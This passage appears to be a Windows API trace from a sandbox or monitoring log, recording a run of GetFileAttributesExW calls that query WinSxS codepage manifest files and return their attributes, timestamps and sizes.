	[0107.498] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20106_31bf3856ad364e35_6.1.7600.16385_none_51393d2b48111e2a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20106_31bf3856ad364e35_6.1.7600.16385_none_51393d2b48111e2a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1f98 | out: lpFileInformation=0x128f1f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ec6ce9, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86ec6ce9, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7cc94852, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x91f)) returned 1
	[0107.499] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20107_31bf3856ad364e35_6.1.7600.16385_none_512e6d3f48193a1b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20107_31bf3856ad364e35_6.1.7600.16385_none_512e6d3f48193a1b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1299e008 | out: lpFileInformation=0x1299e008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86eece46, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86eece46, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6509da8c, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x921)) returned 1
	[0107.499] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20108_31bf3856ad364e35_6.1.7600.16385_none_51239d534821560c.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20108_31bf3856ad364e35_6.1.7600.16385_none_51239d534821560c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1299e058 | out: lpFileInformation=0x1299e058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86eece46, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86eece46, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x918a318e, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x925)) returned 1
	[0107.499] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20127_31bf3856ad364e35_6.1.7600.16385_none_52117b9b47874329.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20127_31bf3856ad364e35_6.1.7600.16385_none_52117b9b47874329.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1299e0a8 | out: lpFileInformation=0x1299e0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ea0b8c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86ea0b8c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x94225b23, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x91b)) returned 1
	[0107.499] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20261_31bf3856ad364e35_6.1.7600.16385_none_541861134632c740.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20261_31bf3856ad364e35_6.1.7600.16385_none_541861134632c740.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c008 | out: lpFileInformation=0x1282c008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876f57e4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x876f57e4, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb38ff56f, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x913)) returned 1
	[0107.500] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20269_31bf3856ad364e35_6.1.7600.16385_none_53c1e1b34673a6c8.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20269_31bf3856ad364e35_6.1.7600.16385_none_53c1e1b34673a6c8.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c058 | out: lpFileInformation=0x1282c058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ec6ce9, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86ec6ce9, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7d640171, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x941)) returned 1
	[0107.500] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20273_31bf3856ad364e35_6.1.7600.16385_none_5474486945fa03a9.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20273_31bf3856ad364e35_6.1.7600.16385_none_5474486945fa03a9.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c0a8 | out: lpFileInformation=0x1282c0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8759eb9f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8759eb9f, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x36fbe879, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x933)) returned 1
	[0107.500] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20277_31bf3856ad364e35_6.1.7600.16385_none_544908b9461a736d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20277_31bf3856ad364e35_6.1.7600.16385_none_544908b9461a736d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c0f8 | out: lpFileInformation=0x1282c0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86fd1674, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86fd1674, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8c873995, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x941)) returned 1
	[0107.500] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20278_31bf3856ad364e35_6.1.7600.16385_none_543e38cd46228f5e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20278_31bf3856ad364e35_6.1.7600.16385_none_543e38cd46228f5e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c148 | out: lpFileInformation=0x1282c148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ff77d1, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86ff77d1, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x5d5bae06, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x941)) returned 1
	[0107.501] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20280_31bf3856ad364e35_6.1.7600.16385_none_55063f5b4598b45d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20280_31bf3856ad364e35_6.1.7600.16385_none_55063f5b4598b45d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c198 | out: lpFileInformation=0x1282c198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ff77d1, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86ff77d1, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8378b717, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x92f)) returned 1
	[0107.501] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20284_31bf3856ad364e35_6.1.7600.16385_none_54daffab45b92421.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20284_31bf3856ad364e35_6.1.7600.16385_none_54daffab45b92421.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c1e8 | out: lpFileInformation=0x1282c1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8701d92e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8701d92e, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb294a82, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x94b)) returned 1
	[0107.501] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20285_31bf3856ad364e35_6.1.7600.16385_none_54d02fbf45c14012.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20285_31bf3856ad364e35_6.1.7600.16385_none_54d02fbf45c14012.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c238 | out: lpFileInformation=0x1282c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ea0b8c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86ea0b8c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xbabb368c, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x941)) returned 1
	[0107.501] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20290_31bf3856ad364e35_6.1.7600.16385_none_5577c689454fb8e4.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20290_31bf3856ad364e35_6.1.7600.16385_none_5577c689454fb8e4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c288 | out: lpFileInformation=0x1282c288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8683b0ed, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8683b0ed, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb0774cdc, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x959)) returned 1
	[0107.502] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20297_31bf3856ad364e35_6.1.7600.16385_none_552c171545887c7b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20297_31bf3856ad364e35_6.1.7600.16385_none_552c171545887c7b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c2d8 | out: lpFileInformation=0x1282c2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8701d92e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8701d92e, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x1f00f86c, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x931)) returned 1
	[0107.502] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20420_31bf3856ad364e35_6.1.7600.16385_none_525ce6b7474ecc75.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20420_31bf3856ad364e35_6.1.7600.16385_none_525ce6b7474ecc75.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c328 | out: lpFileInformation=0x1282c328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8658d863, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8658d863, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x5a5142a1, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x931)) returned 1
	[0107.502] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20423_31bf3856ad364e35_6.1.7600.16385_none_523c76f347672048.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20423_31bf3856ad364e35_6.1.7600.16385_none_523c76f347672048.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c378 | out: lpFileInformation=0x1282c378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8759eb9f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8759eb9f, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x918da20, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x92f)) returned 1
	[0107.502] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20424_31bf3856ad364e35_6.1.7600.16385_none_5231a707476f3c39.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20424_31bf3856ad364e35_6.1.7600.16385_none_5231a707476f3c39.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c3c8 | out: lpFileInformation=0x1282c3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8752c788, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8752c788, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x2bdd00a5, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x931)) returned 1
	[0107.503] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20833_31bf3856ad364e35_6.1.7600.16385_none_52ada301471e8b53.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20833_31bf3856ad364e35_6.1.7600.16385_none_52ada301471e8b53.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c418 | out: lpFileInformation=0x1282c418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8645cd7b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8645cd7b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xaed1fa2d, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x943)) returned 1
	[0107.503] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20838_31bf3856ad364e35_6.1.7600.16385_none_5277936547471708.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20838_31bf3856ad364e35_6.1.7600.16385_none_5277936547471708.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c468 | out: lpFileInformation=0x1282c468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8746e0b7, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8746e0b7, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x1829074c, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x92d)) returned 1
	[0107.503] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20866_31bf3856ad364e35_6.1.7600.16385_none_53e1c8c7465becbb.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20866_31bf3856ad364e35_6.1.7600.16385_none_53e1c8c7465becbb.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c4b8 | out: lpFileInformation=0x1282c4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86991d32, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86991d32, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa0509f45, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x927)) returned 1
	[0107.503] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20871_31bf3856ad364e35_6.1.7600.16385_none_54895f9145ea658d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20871_31bf3856ad364e35_6.1.7600.16385_none_54895f9145ea658d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c508 | out: lpFileInformation=0x1282c508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8701d92e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8701d92e, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x92c92948, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x937)) returned 1
	[0107.504] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20880_31bf3856ad364e35_6.1.7600.16385_none_5505b6ab45994e23.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20880_31bf3856ad364e35_6.1.7600.16385_none_5505b6ab45994e23.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c558 | out: lpFileInformation=0x1282c558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8696bbd5, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8696bbd5, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x5064196, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x949)) returned 1
	[0107.504] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20905_31bf3856ad364e35_6.1.7600.16385_none_514356d74809cf41.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20905_31bf3856ad364e35_6.1.7600.16385_none_514356d74809cf41.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c5a8 | out: lpFileInformation=0x1282c5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8637854d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8637854d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x715bc833, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x933)) returned 1
	[0107.504] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20924_31bf3856ad364e35_6.1.7600.16385_none_5231351f476fbc5e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20924_31bf3856ad364e35_6.1.7600.16385_none_5231351f476fbc5e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c5f8 | out: lpFileInformation=0x1282c5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87043a8b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x87043a8b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x92f66e61, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x967)) returned 1
	[0107.504] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20932_31bf3856ad364e35_6.1.7600.16385_none_52b85c2547168903.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20932_31bf3856ad364e35_6.1.7600.16385_none_52b85c2547168903.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c648 | out: lpFileInformation=0x1282c648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8683b0ed, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8683b0ed, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x36eb3ee0, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x949)) returned 1
	[0107.505] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20936_31bf3856ad364e35_6.1.7600.16385_none_528d1c754736f8c7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20936_31bf3856ad364e35_6.1.7600.16385_none_528d1c754736f8c7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c698 | out: lpFileInformation=0x1282c698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866e44a8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x866e44a8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x83c28ca4, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x93d)) returned 1
	[0107.505] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20949_31bf3856ad364e35_6.1.7600.16385_none_52de33df47065121.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20949_31bf3856ad364e35_6.1.7600.16385_none_52de33df47065121.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c6e8 | out: lpFileInformation=0x1282c6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8645cd7b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8645cd7b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x580c7415, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x927)) returned 1
	[0107.505] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-21025_31bf3856ad364e35_6.1.7600.16385_none_5228328547760afd.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-21025_31bf3856ad364e35_6.1.7600.16385_none_5228328547760afd.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c738 | out: lpFileInformation=0x1282c738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86991d32, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86991d32, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x142e3c78, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x95f)) returned 1
	[0107.505] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-21027_31bf3856ad364e35_6.1.7600.16385_none_521292ad478642df.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-21027_31bf3856ad364e35_6.1.7600.16385_none_521292ad478642df.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c788 | out: lpFileInformation=0x1282c788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8686124a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8686124a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x44750b30, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x931)) returned 1
	[0107.506] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-21866_31bf3856ad364e35_6.1.7600.16385_none_53e2c911465b0612.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-21866_31bf3856ad364e35_6.1.7600.16385_none_53e2c911465b0612.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c7d8 | out: lpFileInformation=0x1282c7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86991d32, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86991d32, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x51478ded, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x92f)) returned 1
	[0107.506] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-28591_31bf3856ad364e35_6.1.7600.16385_none_5574b4954550ec70.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-28591_31bf3856ad364e35_6.1.7600.16385_none_5574b4954550ec70.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c828 | out: lpFileInformation=0x1282c828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ea0b8c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86ea0b8c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3dd63af8, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x92f)) returned 1
	[0107.506] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-28592_31bf3856ad364e35_6.1.7600.16385_none_5569e4a945590861.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-28592_31bf3856ad364e35_6.1.7600.16385_none_5569e4a945590861.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c878 | out: lpFileInformation=0x1282c878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d23dea, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86d23dea, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x74910c46, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x93d)) returned 1
	[0107.507] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-28593_31bf3856ad364e35_6.1.7600.16385_none_555f14bd45612452.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-28593_31bf3856ad364e35_6.1.7600.16385_none_555f14bd45612452.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1282c8c8 | out: lpFileInformation=0x1282c8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8639e6aa, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8639e6aa, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x1595ab81, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x92f)) returned 1
